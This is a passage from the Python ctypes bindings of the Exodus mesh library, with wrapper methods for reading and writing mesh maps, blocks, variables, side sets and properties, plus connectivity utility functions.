ctypes.c_int(self.__ex_inquire_int(inq_type))\n        numObjs = num_objs.value\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_IDS_INT64_API:\n            id_map = (ctypes.c_longlong * numObjs)()\n        else:\n            id_map = (ctypes.c_int * numObjs)()\n        EXODUS_LIB.ex_get_num_map(self.fileId, obj_type, map_id, ctypes.byref(id_map))\n        idMap = [id_map[i] for i in range(numObjs)]\n        if self.use_numpy:\n            idMap = self.np.array(idMap)\n        return idMap\n\n    def __ex_put_map_param(self, nodeMapCnt, elemMapCnt):\n        node_map_cnt = ctypes.c_int(nodeMapCnt)\n        elem_map_cnt = ctypes.c_int(elemMapCnt)\n        errorInt = EXODUS_LIB.ex_put_map_param(\n            self.fileId, node_map_cnt, elem_map_cnt)\n        if errorInt != 0:\n            print((\"ERROR code =\", errorInt))\n            raise Exception(\n                \"ERROR: ex_put_map_param had problems.\")\n        return True\n\n    def __ex_put_num_map(self, objType, idx, numMap):\n        inqType = ex_obj_to_inq(objType)\n        map_id = ctypes.c_longlong(idx)\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        inq_type = ctypes.c_int(ex_inquiry_map(inqType))\n        num_objs = ctypes.c_int(self.__ex_inquire_int(inq_type))\n        numObjs = num_objs.value\n        assert numObjs == len(numMap)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_IDS_INT64_API:\n            num_map = (ctypes.c_longlong * numObjs)()\n            for i in range(numObjs):\n                num_map[i] = ctypes.c_longlong(numMap[i])\n        else:\n            num_map = (ctypes.c_int * numObjs)()\n            for i in range(numObjs):\n                num_map[i] = ctypes.c_int(numMap[i])\n        EXODUS_LIB.ex_put_num_map(self.fileId, obj_type, map_id, ctypes.byref(num_map))\n        return True\n\n    def __ex_get_block_id_map(self, obj_type, id):\n        obj_type = ctypes.c_int(get_entity_type(obj_type))\n        entity_id = ctypes.c_longlong(id)\n        _, numObjs, _, _ = self.__ex_get_block('EX_ELEM_BLOCK', id)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_IDS_INT64_API:\n            id_map = (ctypes.c_longlong * numObjs)()\n        else:\n            id_map = (ctypes.c_int * numObjs)()\n        EXODUS_LIB.ex_get_block_id_map(self.fileId, obj_type, entity_id, id_map)\n        if self.use_numpy:\n            id_map = ctype_to_numpy(self, id_map)\n            return id_map\n        else:\n            idMap = [id_map[i] for i in range(numObjs)]\n            return idMap\n\n    def __ex_put_id_map(self, objType, idMap):\n        inqType = ex_obj_to_inq(objType)\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        inq_type = ctypes.c_int(ex_inquiry_map(inqType))\n        num_objs = ctypes.c_int(self.__ex_inquire_int(inq_type))\n        numObjs = num_objs.value\n        assert numObjs == len(idMap)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_IDS_INT64_API:\n            id_map = (ctypes.c_longlong * numObjs)()\n            for i in range(numObjs):\n                id_map[i] = ctypes.c_longlong(idMap[i])\n        else:\n            id_map = (ctypes.c_int * numObjs)()\n            for i in range(numObjs):\n                id_map[i] = ctypes.c_int(idMap[i])\n        EXODUS_LIB.ex_put_id_map(self.fileId, obj_type, ctypes.byref(id_map))\n        return True\n\n    def __ex_get_elem_num_map(self):\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_MAPS_INT64_API:\n            elemNumMap = (ctypes.c_longlong * self.numElem.value)()\n        else:\n            elemNumMap = (ctypes.c_int * self.numElem.value)()\n        EXODUS_LIB.ex_get_elem_num_map(self.fileId, ctypes.byref(elemNumMap))\n        return elemNumMap\n\n    def __ex_get_node_num_map(self):\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_MAPS_INT64_API:\n            nodeNumMap = (ctypes.c_longlong * self.numNodes.value)()\n        else:\n            nodeNumMap = (ctypes.c_int * self.numNodes.value)()\n        EXODUS_LIB.ex_get_node_num_map(self.fileId, ctypes.byref(nodeNumMap))\n        return nodeNumMap\n\n    def __ex_get_elem_order_map(self):\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_MAPS_INT64_API:\n            elemOrderMap = (ctypes.c_longlong * self.numElem.value)()\n        else:\n            elemOrderMap = (ctypes.c_int * self.numElem.value)()\n        EXODUS_LIB.ex_get_map(self.fileId, ctypes.byref(elemOrderMap))\n        return elemOrderMap\n\n    def __ex_get_block(self, object_type, object_id):\n        obj_type = ctypes.c_int(get_entity_type(object_type))\n        block_id = ctypes.c_longlong(object_id)\n        blk_type = ctypes.create_string_buffer(MAX_STR_LENGTH + 1)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_BULK_INT64_API:\n            num_elem_this_blk = ctypes.c_longlong(0)\n            num_nodes_per_elem = ctypes.c_longlong(0)\n            num_edges_per_elem = ctypes.c_longlong(0)\n            num_faces_per_elem = ctypes.c_longlong(0)\n            num_attr = ctypes.c_longlong(0)\n        else:\n            num_elem_this_blk = ctypes.c_int(0)\n            num_nodes_per_elem = ctypes.c_int(0)\n            num_edges_per_elem = ctypes.c_int(0)\n            num_faces_per_elem = ctypes.c_int(0)\n            num_attr = ctypes.c_int(0)\n        EXODUS_LIB.ex_get_block(\n            self.fileId,\n            obj_type,\n            block_id,\n            blk_type,\n            ctypes.byref(num_elem_this_blk),\n            ctypes.byref(num_nodes_per_elem),\n            ctypes.byref(num_edges_per_elem),\n            ctypes.byref(num_faces_per_elem),\n            ctypes.byref(num_attr))\n        return blk_type.value, int(num_elem_this_blk.value), int(num_nodes_per_elem.value), int(num_attr.value)\n\n    def __ex_put_block(\n            self,\n            object_type,\n            object_id,\n            eType,\n            numElems,\n            numNodesPerElem,\n            numAttrsPerElem):\n        obj_type = ctypes.c_int(get_entity_type(object_type))\n        block_id = ctypes.c_longlong(object_id)\n        if type(eType) == str:\n            eType = eType.encode('ascii')\n        elem_type = ctypes.create_string_buffer(eType.upper(), MAX_NAME_LENGTH + 1)\n        num_elem_this_blk = ctypes.c_longlong(numElems)\n        num_nodes_per_elem = ctypes.c_longlong(numNodesPerElem)\n        num_edges_per_elem = ctypes.c_longlong(0)\n        num_faces_per_elem = ctypes.c_longlong(0)\n        num_attr = ctypes.c_longlong(numAttrsPerElem)\n        EXODUS_LIB.ex_put_block(self.fileId, obj_type, block_id, elem_type,\n                                num_elem_this_blk, num_nodes_per_elem,\n                                num_edges_per_elem, num_faces_per_elem, num_attr)\n\n    def __ex_get_elem_conn(self, object_id):\n        (_elem_type, num_elem_this_blk, num_nodes_per_elem,\n         _num_attr) = self.__ex_get_block('EX_ELEM_BLOCK', object_id)\n        elem_block_id = ctypes.c_longlong(object_id)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_BULK_INT64_API:\n            elem_block_connectivity = (\n                ctypes.c_longlong * (num_elem_this_blk * num_nodes_per_elem))()\n        else:\n            elem_block_connectivity = (\n                ctypes.c_int * (num_elem_this_blk * num_nodes_per_elem))()\n        EXODUS_LIB.ex_get_conn(\n            self.fileId,\n            ctypes.c_int(get_entity_type('EX_ELEM_BLOCK')),\n            elem_block_id,\n            ctypes.byref(elem_block_connectivity), None, None)\n        return elem_block_connectivity, num_elem_this_blk, num_nodes_per_elem\n\n    def __ex_put_elem_conn(self, object_id, connectivity):\n        (_elem_type, num_elem_this_blk, num_nodes_per_elem,\n         _num_attr) = self.__ex_get_block('EX_ELEM_BLOCK', object_id)\n        elem_block_id = ctypes.c_longlong(object_id)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_BULK_INT64_API:\n            elem_block_connectivity = (\n                ctypes.c_longlong * (num_elem_this_blk * num_nodes_per_elem))()\n            for i in range(num_elem_this_blk * num_nodes_per_elem):\n                elem_block_connectivity[i] = ctypes.c_longlong(connectivity[i])\n        else:\n            elem_block_connectivity = (\n                ctypes.c_int * (num_elem_this_blk * num_nodes_per_elem))()\n            for i in range(num_elem_this_blk * num_nodes_per_elem):\n                elem_block_connectivity[i] = ctypes.c_int(connectivity[i])\n        EXODUS_LIB.ex_put_conn(\n            self.fileId,\n            ctypes.c_int(get_entity_type('EX_ELEM_BLOCK')),\n            elem_block_id,\n            elem_block_connectivity, None, None)\n\n    def __ex_put_one_attr(self, objType, elemBlkID, attrIndx, Attr):\n        elem_blk_id = ctypes.c_longlong(elemBlkID)\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        attr_index = ctypes.c_longlong(attrIndx)\n        attrib = (ctypes.c_double * len(Attr))()\n        for i, attr in enumerate(Attr):\n            attrib[i] = float(attr)\n        EXODUS_LIB.ex_put_one_attr(\n            self.fileId,\n            obj_type,\n            elem_blk_id,\n            attr_index,\n            attrib)\n\n    def __ex_get_one_attr(self, objType, entityId, attrIndx):\n        entity_id = ctypes.c_longlong(entityId)\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        attr_index = ctypes.c_longlong(attrIndx)\n\n        numVals = self.get_entity_count(objType, entityId)\n        attrib = (ctypes.c_double * numVals)()\n\n        EXODUS_LIB.ex_get_one_attr(\n            self.fileId,\n            obj_type,\n            entity_id,\n            attr_index,\n            ctypes.byref(attrib))\n        return attrib\n\n    def __ex_put_elem_attr(self, elemBlkID, Attr):\n        elem_blk_id = ctypes.c_longlong(elemBlkID)\n        attrib = (ctypes.c_double * len(Attr))()\n        for i, attr in enumerate(Attr):\n            attrib[i] = ctypes.c_double(attr)\n        EXODUS_LIB.ex_put_attr(\n            self.fileId,\n            ctypes.c_int(get_entity_type('EX_ELEM_BLOCK')),\n            elem_blk_id,\n            attrib)\n\n    def __ex_get_elem_attr(self, elemBlkID):\n        elem_blk_id = ctypes.c_longlong(elemBlkID)\n        numAttrThisBlk = self.num_attr(elemBlkID)\n        numElemsThisBlk = self.get_entity_count('EX_ELEM_BLOCK', elemBlkID)\n        totalAttr = numAttrThisBlk * numElemsThisBlk\n        attrib = (ctypes.c_double * totalAttr)()\n        EXODUS_LIB.ex_get_attr(\n            self.fileId,\n            ctypes.c_int(get_entity_type('EX_ELEM_BLOCK')),\n            elem_blk_id,\n            ctypes.byref(attrib))\n        return attrib\n\n    def __ex_get_variable_param(self, varType):\n        var_type = ctypes.c_int(get_entity_type(varType))\n        num_vars = ctypes.c_int()\n        EXODUS_LIB.ex_get_variable_param(\n            self.fileId, var_type, ctypes.byref(num_vars))\n        return num_vars\n\n    def __ex_get_variable_names(self, varType):\n        num_vars = self.__ex_get_variable_param(varType)\n        var_name_ptrs = (\n            ctypes.POINTER(ctypes.c_char * (MAX_NAME_LENGTH + 1)) * num_vars.value)()\n\n        for i in range(num_vars.value):\n            var_name_ptrs[i] = ctypes.pointer(\n                ctypes.create_string_buffer(\n                    MAX_NAME_LENGTH + 1))\n\n        var_type = ctypes.c_int(get_entity_type(varType))\n        EXODUS_LIB.ex_get_variable_names(\n            self.fileId,\n            var_type,\n            num_vars,\n            ctypes.byref(var_name_ptrs))\n        return [vnp.contents.value.decode('utf8') for vnp in var_name_ptrs]\n\n    def __ex_get_var(self, timeStep, varType, varId, blkId, numValues):\n        step = ctypes.c_int(timeStep)\n        var_type = ctypes.c_int(get_entity_type(varType))\n        var_id = ctypes.c_int(varId)\n        block_id = ctypes.c_longlong(blkId)\n        num_values = ctypes.c_longlong(numValues)\n        var_vals = (ctypes.c_double * num_values.value)()\n        EXODUS_LIB.ex_get_var(\n            self.fileId,\n            step,\n            var_type,\n            var_id,\n            block_id,\n            num_values,\n            var_vals)\n        return var_vals\n\n    def __ex_get_partial_var(self, timeStep, varType, varId, blkId, startIndex, numValues):\n        step = ctypes.c_int(timeStep)\n        var_type = ctypes.c_int(get_entity_type(varType))\n        var_id = ctypes.c_int(varId)\n        block_id = ctypes.c_longlong(blkId)\n        start_index = ctypes.c_longlong(startIndex)\n        num_values = ctypes.c_longlong(numValues)\n        var_vals = (ctypes.c_double * num_values.value)()\n        EXODUS_LIB.ex_get_var(\n            self.fileId,\n            step,\n            var_type,\n            var_id,\n            block_id,\n            start_index,\n            num_values,\n            var_vals)\n        return var_vals\n\n    def __ex_put_var(self, timeStep, varType, varId, blkId, numValues, values):\n        step = ctypes.c_int(timeStep)\n        var_type = ctypes.c_int(get_entity_type(varType))\n        var_id = ctypes.c_int(varId)\n        block_id = ctypes.c_longlong(blkId)\n        num_values = ctypes.c_longlong(numValues)\n        var_vals = (ctypes.c_double * num_values.value)()\n        for i in range(num_values.value):\n            var_vals[i] = float(values[i])\n        EXODUS_LIB.ex_put_var(\n            self.fileId,\n            step,\n            var_type,\n            var_id,\n            block_id,\n            num_values,\n            var_vals)\n        return True\n\n    def __ex_put_reduction_variable_param(self, varType, numVars):\n        num_vars = ctypes.c_int(numVars)\n        current_num = self.__ex_get_reduction_variable_param(varType)\n        if current_num.value == num_vars.value:\n            # print \"value already set\"\n            return True\n\n        var_type = ctypes.c_int(get_entity_type(varType))\n        errorInt = EXODUS_LIB.ex_put_reduction_variable_param(\n            self.fileId, var_type, num_vars)\n        if errorInt != 0:\n            print((\"ERROR code =\", errorInt))\n            raise Exception(\n                \"ERROR: ex_put_reduction_variable_param had problems.\"\n                \" This can only be called once per varType.\")\n        return True\n\n    def __ex_get_reduction_variable_param(self, varType):\n        var_type = ctypes.c_int(get_entity_type(varType))\n        num_vars = ctypes.c_int()\n        EXODUS_LIB.ex_get_reduction_variable_param(\n            self.fileId, var_type, ctypes.byref(num_vars))\n        return num_vars\n\n    def __ex_get_reduction_variable_name(self, varType, varId):\n        var_type = ctypes.c_int(get_entity_type(varType))\n        var_id = ctypes.c_int(varId)\n        name = ctypes.create_string_buffer(MAX_NAME_LENGTH + 1)\n        EXODUS_LIB.ex_get_reduction_variable_name(self.fileId, var_type, var_id, name)\n        return name.value.decode(\"utf8\")\n\n    def __ex_put_reduction_variable_name(self, varType, varId, varName):\n        var_type = ctypes.c_int(get_entity_type(varType))\n        var_id = ctypes.c_int(varId)\n        name = ctypes.create_string_buffer(varName.encode('ascii'), MAX_NAME_LENGTH + 1)\n        EXODUS_LIB.ex_put_reduction_variable_name(self.fileId, var_type, var_id, name)\n        return True\n\n    def __ex_get_reduction_variable_names(self, varType):\n        num_vars = self.__ex_get_reduction_variable_param(varType)\n        var_name_ptrs = (\n            ctypes.POINTER(ctypes.c_char * (MAX_NAME_LENGTH + 1)) * num_vars.value)()\n\n        for i in range(num_vars.value):\n            var_name_ptrs[i] = ctypes.pointer(\n                ctypes.create_string_buffer(\n                    MAX_NAME_LENGTH + 1))\n\n        var_type = ctypes.c_int(get_entity_type(varType))\n        EXODUS_LIB.ex_get_reduction_variable_names(\n            self.fileId,\n            var_type,\n            num_vars,\n            ctypes.byref(var_name_ptrs))\n        return [vnp.contents.value.decode('utf8') for vnp in var_name_ptrs]\n\n    def __ex_get_reduction_vars(self, timeStep, varType, blkId, numValues):\n        step = ctypes.c_int(timeStep)\n        var_type = ctypes.c_int(get_entity_type(varType))\n        block_id = ctypes.c_longlong(blkId)\n        num_values = ctypes.c_longlong(numValues)\n        var_vals = (ctypes.c_double * num_values.value)()\n        EXODUS_LIB.ex_get_reduction_vars(\n            self.fileId,\n            step,\n            var_type,\n            block_id,\n            num_values,\n            var_vals)\n        return var_vals\n\n    def __ex_put_reduction_vars(self, timeStep, varType, blkId, numValues, values):\n        step = ctypes.c_int(timeStep)\n        var_type = ctypes.c_int(get_entity_type(varType))\n        block_id = ctypes.c_longlong(blkId)\n        num_values = ctypes.c_longlong(numValues)\n        var_vals = (ctypes.c_double * num_values.value)()\n        for i in range(num_values.value):\n            var_vals[i] = float(values[i])\n        EXODUS_LIB.ex_put_reduction_vars(\n            self.fileId,\n            step,\n            var_type,\n            block_id,\n            num_values,\n            var_vals)\n        return True\n\n    def __ex_get_side_set_node_list_len(self, object_id):\n        side_set_id = ctypes.c_longlong(object_id)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_BULK_INT64_API:\n            side_set_node_list_len = ctypes.c_longlong(0)\n        else:\n            side_set_node_list_len = ctypes.c_int(0)\n        EXODUS_LIB.ex_get_side_set_node_list_len(\n            self.fileId, side_set_id, ctypes.byref(side_set_node_list_len))\n        return side_set_node_list_len\n\n    def __ex_get_set_param(self, objType, object_id):\n        object_type = ctypes.c_int(get_entity_type(objType))\n        side_set_id = ctypes.c_longlong(object_id)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_BULK_INT64_API:\n            num_side_in_set = ctypes.c_longlong(0)\n            num_dist_fact_in_set = ctypes.c_longlong(0)\n        else:\n            num_side_in_set = ctypes.c_int(0)\n            num_dist_fact_in_set = ctypes.c_int(0)\n        EXODUS_LIB.ex_get_set_param(\n            self.fileId,\n            object_type,\n            side_set_id,\n            ctypes.byref(num_side_in_set),\n            ctypes.byref(num_dist_fact_in_set))\n        return int(num_side_in_set.value), int(num_dist_fact_in_set.value)\n\n    def __ex_put_set_param(self, objType, object_id, numSides, numDistFacts):\n        object_type = ctypes.c_int(get_entity_type(objType))\n        side_set_id = ctypes.c_longlong(object_id)\n        num_side_in_set = ctypes.c_longlong(numSides)\n        num_dist_fact_in_set = ctypes.c_longlong(numDistFacts)\n        EXODUS_LIB.ex_put_set_param(\n            self.fileId,\n            object_type,\n            side_set_id,\n            num_side_in_set,\n            num_dist_fact_in_set)\n        return True\n\n    def __ex_get_side_set(self, sideSetId):\n        side_set_id = ctypes.c_longlong(sideSetId)\n        (num_side_in_set, _num_dist_fact_in_set) = self.__ex_get_set_param('EX_SIDE_SET', sideSetId)\n        if num_side_in_set == 0:\n            return [], []\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_BULK_INT64_API:\n            side_set_elem_list = (ctypes.c_longlong * num_side_in_set)()\n            side_set_side_list = (ctypes.c_longlong * num_side_in_set)()\n        else:\n            side_set_elem_list = (ctypes.c_int * num_side_in_set)()\n            side_set_side_list = (ctypes.c_int * num_side_in_set)()\n        EXODUS_LIB.ex_get_set(\n            self.fileId,\n            ctypes.c_int(get_entity_type('EX_SIDE_SET')),\n            side_set_id,\n            ctypes.byref(side_set_elem_list),\n            ctypes.byref(side_set_side_list))\n        return side_set_elem_list, side_set_side_list\n\n    def __ex_put_side_set(self, object_id, sideSetElements, sideSetSides):\n        side_set_id = ctypes.c_longlong(object_id)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_BULK_INT64_API:\n            side_set_elem_list = (ctypes.c_longlong * len(sideSetElements))()\n            side_set_side_list = (ctypes.c_longlong * len(sideSetSides))()\n            for i, sse in enumerate(sideSetElements):\n                side_set_elem_list[i] = ctypes.c_longlong(sse)\n                side_set_side_list[i] = ctypes.c_longlong(sideSetSides[i])\n        else:\n            side_set_elem_list = (ctypes.c_int * len(sideSetElements))()\n            side_set_side_list = (ctypes.c_int * len(sideSetSides))()\n            for i, sse in enumerate(sideSetElements):\n                side_set_elem_list[i] = ctypes.c_int(sse)\n                side_set_side_list[i] = ctypes.c_int(sideSetSides[i])\n        EXODUS_LIB.ex_put_set(\n            self.fileId,\n            ctypes.c_int(get_entity_type('EX_SIDE_SET')),\n            side_set_id,\n            side_set_elem_list,\n            side_set_side_list)\n        return True\n\n    def __ex_get_side_set_dist_fact(self, sideSetId):\n        side_set_id = ctypes.c_longlong(sideSetId)\n        side_set_node_list_len = self.__ex_get_side_set_node_list_len(\n            sideSetId)\n        set_dfs = (ctypes.c_double * side_set_node_list_len.value)()\n        EXODUS_LIB.ex_get_side_set_dist_fact(\n            self.fileId, side_set_id, ctypes.byref(set_dfs))\n        return set_dfs\n\n    def __ex_put_side_set_dist_fact(self, sideSetId, sideSetDistFact):\n        side_set_id = ctypes.c_longlong(sideSetId)\n        side_set_dist_fact = (ctypes.c_double * len(sideSetDistFact))()\n        for i, df in enumerate(sideSetDistFact):\n            side_set_dist_fact[i] = ctypes.c_double(df)\n        EXODUS_LIB.ex_put_side_set_dist_fact(\n            self.fileId, side_set_id, side_set_dist_fact)\n\n    def __ex_get_side_set_node_list(self, object_id):\n        side_set_id = ctypes.c_longlong(object_id)\n        side_set_node_list_len = self.__ex_get_side_set_node_list_len(object_id)\n        (num_side_in_set, _num_dist_fact_in_set) = self.__ex_get_set_param('EX_SIDE_SET', object_id)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_BULK_INT64_API:\n            side_set_node_cnt_list = (ctypes.c_longlong * num_side_in_set)()\n            side_set_node_list = (ctypes.c_longlong * side_set_node_list_len.value)()\n        else:\n            side_set_node_cnt_list = (ctypes.c_int * num_side_in_set)()\n            side_set_node_list = (ctypes.c_int * side_set_node_list_len.value)()\n        EXODUS_LIB.ex_get_side_set_node_list(self.fileId, side_set_id,\n                                             ctypes.byref(side_set_node_cnt_list),\n                                             ctypes.byref(side_set_node_list))\n        return side_set_node_cnt_list, side_set_node_list\n\n    def __ex_put_variable_param(self, varType, numVars):\n        num_vars = ctypes.c_int(numVars)\n        current_num = self.__ex_get_variable_param(varType)\n        if current_num.value == num_vars.value:\n            # print \"value already set\"\n            return True\n\n        var_type = ctypes.c_int(get_entity_type(varType))\n        errorInt = EXODUS_LIB.ex_put_variable_param(\n            self.fileId, var_type, num_vars)\n        if errorInt != 0:\n            print((\"ERROR code =\", errorInt))\n            raise Exception(\n                \"ERROR: ex_put_variable_param had problems.\"\n                \" This can only be called once per varType.\")\n        return True\n\n    def __ex_get_variable_name(self, varType, varId):\n        var_type = ctypes.c_int(varType)\n        var_id = ctypes.c_int(varId)\n        name = ctypes.create_string_buffer(MAX_NAME_LENGTH + 1)\n        EXODUS_LIB.ex_get_variable_name(self.fileId, var_type, var_id, name)\n        return name.decode('utf8')\n\n    def __ex_put_variable_name(self, varType, varId, varName):\n        var_type = ctypes.c_int(get_entity_type(varType))\n        var_id = ctypes.c_int(varId)\n        name = ctypes.create_string_buffer(varName.encode('ascii'), MAX_NAME_LENGTH + 1)\n        EXODUS_LIB.ex_put_variable_name(self.fileId, var_type, var_id, name)\n        return True\n\n    def __ex_get_attr_names(self, objType, blkId):\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        object_id = ctypes.c_longlong(blkId)\n        num_attr = ctypes.c_int(self.num_attr(blkId))\n        len_name = self.__ex_inquire_int(ex_inquiry_map('EX_INQ_MAX_READ_NAME_LENGTH'))\n        attr_name_ptrs = (ctypes.POINTER(ctypes.c_char * (len_name + 1)) * num_attr.value)()\n        for i in range(num_attr.value):\n            attr_name_ptrs[i] = ctypes.pointer(ctypes.create_string_buffer(len_name + 1))\n        EXODUS_LIB.ex_get_attr_names(\n            self.fileId, obj_type, object_id, ctypes.byref(attr_name_ptrs))\n        return [cnp.contents.value.decode('utf8') for cnp in attr_name_ptrs]\n\n    def __ex_put_attr_names(self, objType, blkId, varNames):\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        object_id = ctypes.c_int(blkId)\n        num_attr = ctypes.c_int(self.num_attr(blkId))\n        len_name = self.__ex_inquire_int(ex_inquiry_map('EX_INQ_MAX_READ_NAME_LENGTH'))\n        attr_name_ptrs = (ctypes.POINTER(ctypes.c_char * (len_name + 1)) * num_attr.value)()\n        assert len(varNames) == num_attr.value\n        for i in range(num_attr.value):\n            attr_name_ptrs[i] = ctypes.pointer(\n                ctypes.create_string_buffer(\n                    varNames[i].encode('ascii'), len_name + 1))\n        EXODUS_LIB.ex_put_attr_names(\n            self.fileId, obj_type, object_id, ctypes.byref(attr_name_ptrs))\n        return True\n\n    def __ex_get_prop_names(self, varType, inqType):\n        var_type = ctypes.c_int(get_entity_type(varType))\n        num_props = ctypes.c_int(self.__ex_inquire_int(ex_inquiry_map(inqType)))\n        prop_name_ptrs = (\n            ctypes.POINTER(ctypes.c_char * (MAX_STR_LENGTH + 1)) * num_props.value)()\n        for i in range(num_props.value):\n            prop_name_ptrs[i] = ctypes.pointer(\n                ctypes.create_string_buffer(\n                    MAX_STR_LENGTH + 1))\n        EXODUS_LIB.ex_get_prop_names(\n            self.fileId, var_type, ctypes.byref(prop_name_ptrs))\n        return [cnp.contents.value.decode('utf8') for cnp in prop_name_ptrs]\n\n    def __ex_get_prop(self, objType, objId, propName):\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        obj_id = ctypes.c_longlong(objId)\n        prop_name = ctypes.create_string_buffer(propName.encode('ascii'), MAX_STR_LENGTH + 1)\n        if EXODUS_LIB.ex_int64_status(self.fileId) & EX_IDS_INT64_API:\n            prop_val = ctypes.c_longlong(0)\n        else:\n            prop_val = ctypes.c_int(0)\n        EXODUS_LIB.ex_get_prop(\n            self.fileId,\n            obj_type,\n            obj_id,\n            ctypes.byref(prop_name),\n            ctypes.byref(prop_val))\n        return prop_val.value\n\n    def __ex_put_prop(self, objType, objId, propName, propVal):\n        obj_type = ctypes.c_int(get_entity_type(objType))\n        obj_id = ctypes.c_longlong(objId)\n        prop_name = ctypes.create_string_buffer(propName.encode('ascii'), MAX_STR_LENGTH + 1)\n        prop_val = ctypes.c_longlong(propVal)\n        EXODUS_LIB.ex_put_prop(\n            self.fileId,\n            obj_type,\n            obj_id,\n            ctypes.byref(prop_name),\n            prop_val)\n        return True\n\n    def __ex_update(self):\n        EXODUS_LIB.ex_update(self.fileId)\n        return True\n\n# --------------------------------------------------------------------\n# Utility Functions\n# --------------------------------------------------------------------\n\n\ndef collectElemConnectivity(exodusHandle, connectivity):\n    \"\"\"\n      This function generates a list of lists that represent the element connectivity.\n\n    Usage:\n    ------\n    >>> with exodus(\"file.g\", \"r\") as exodusHandle:\n    >>>     connectivity = []\n    >>>     collectElemConnectivity(exodusHandle, connectivity)\n    \"\"\"\n\n    if not isinstance(connectivity, list):\n        raise Exception(\n            \"ERROR: connectivity is not a list in call to collectElemConnectivity().\")\n    if connectivity:\n        raise Exception(\n            \"ERROR: connectivity is not empty in call to collectElemConnectivity().\")\n\n    blockIds = exodusHandle.get_ids('EX_ELEM_BLOCK')\n    for blId in blockIds:\n        (elem_block_conn, num_elem, num_nodes) = exodusHandle.get_elem_connectivity(blId)\n        for k in range(num_elem):\n            i = k * num_nodes\n            j = i + num_nodes\n            local_elem_conn = elem_block_conn[i:j]\n            connectivity.append(local_elem_conn)\n\n\ndef collectLocalNodeToLocalElems(\n        exodusHandle,\n        connectivity,\n        localNodeToLocalElems):\n    \"\"\"\n      This function generates a list of lists to go from local node id\n      to local elem id.\n\n    Usage:\n    ------\n    >>> connectivity = [] ## If this is not empty it will assume it is already filled.\n    >>> localNodeToLocalElems = []\n    >>> with exodus(\"file.g\", \"r\") as exodusHandle:\n    >>>     collectLocalNodeToLocalElems(exodusHandle, connectivity, localNodeToLocalElems)\n    \"\"\"\n\n    if not isinstance(connectivity, list):\n        raise Exception(\n            \"ERROR: connectivity is not a list in call to collectLocalNodeToLocalElems().\")\n    if not isinstance(localNodeToLocalElems, list):\n        raise Exception(\n            \"ERROR: localNodeToLocalElems is not a list in call to collectLocalNodeToLocalElems().\")\n    if localNodeToLocalElems:\n        raise Exception(\n            \"ERROR: localNodeToLocalElems is not empty in call to collectLocalNodeToLocalElems().\")\n\n    if not connectivity:\n        collectElemConnectivity(exodusHandle, connectivity)\n\n    numNodes = exodusHandle.num_nodes()\n    for _i in range(numNodes + 1):\n        localNodeToLocalElems.append([])\n\n    localElemId = 0\n    for local_elem_conn in connectivity:\n        for n in local_elem_conn:\n            localNodeToLocalElems[n].append(localElemId)\n        localElemId = localElemId + 1\n\n\ndef collectLocalElemToLocalElems(\n        exodusHandle,\n        connectivity,\n        localNodeToLocalElems,\n        localElemToLocalElems):\n    \"\"\"\n      This function generates a list of lists to go from local elem id\n      to connected local elem ids.\n\n    Usage:\n    ------\n    >>> connectivity = [] ## If this is not empty it will assume it is already filled.\n    >>> localNodeToLocalElems = [] ## If this is not empty it will assume it is already filled.\n    >>> localElemToLocalElems = []\n    >>> with exodus(\"file.g\", \"r\") as exodusHandle:\n    >>>     collectLocalElemToLocalElems(exodusHandle, connectivity, localNodeToLocalElems,\n    ...                              localElemToLocalElems)\n    \"\"\"\n\n    if not isinstance(connectivity, list):\n        raise Exception(\n            \"ERROR: connectivity is not a list in call to collectLocalElemToLocalElems().\")\n    if not isinstance(localNodeToLocalElems, list):\n        raise Exception(\n            \"ERROR: localNodeToLocalElems is not a list in call to collectLocalElemToLocalElems().\")\n    if not isinstance(localElemToLocalElems, list):\n        raise Exception(\n            \"ERROR: localElemToLocalElems is not a list in call to collectLocalElemToLocalElems().\")\n    if localElemToLocalElems:\n        raise Exception(\n            \"ERROR: localElemToLocalElems is not empty in call to collectLocalElemToLocalElems().\")\n\n    if not connectivity:\n        collectElemConnectivity(exodusHandle, connectivity)\n    if not localNodeToLocalElems:\n        collectLocalNodeToLocalElems(\n            exodusHandle, connectivity, localNodeToLocalElems)\n\n    numElems = exodusHandle.num_elems()\n    for _i in range(numElems):\n        localElemToLocalElems.append([])\n    for localElemId in range(numElems):\n        nodeList = list(connectivity[localElemId])\n        newConnectedElems = []\n        for n in nodeList:\n            newConnectedElems.extend(iter(localNodeToLocalElems[n]))\n        localElemToLocalElems[localElemId] = list(set(newConnectedElems))\n\n\ndef copy_mesh(fromFileName, toFileName, exoFromObj=None, additionalElementAttributes=None, array_type='ctype'):\n    \"\"\"\n    Copies the mesh data from an existing exodus database to a new exodus\n    database.\n\n    Parameters\n    ----------\n    fromFileName : string\n        File name of the exodus mesh to be copied\n    toFileName : string\n        File name of the new exodus mesh\n    exoFromObj : exodus object, optional\n        Exodus object to be copied from.  If an exodus object is supplied, the\n        fromFileName string will be ignored.\n    additionalElementAttributes : list\n        list of element attribute names to add to all blocks or tuples\n        ( name, blkIds ) where name is the element attribute to add and blkIds is\n        a list of blkIds to add it to.\n    array_type : 'ctype' | 'numpy'\n        Specifies whether arrays will be imported and copied as ctype or numpy\n        arrays.  (This option should make no difference to the user, but it can\n        be used by developers to test whether the commands within this function\n        handle both array types correctly.)\n\n    Returns\n    -------\n    exo_to : exodus object\n        New exodus mesh\n\n    Note:\n    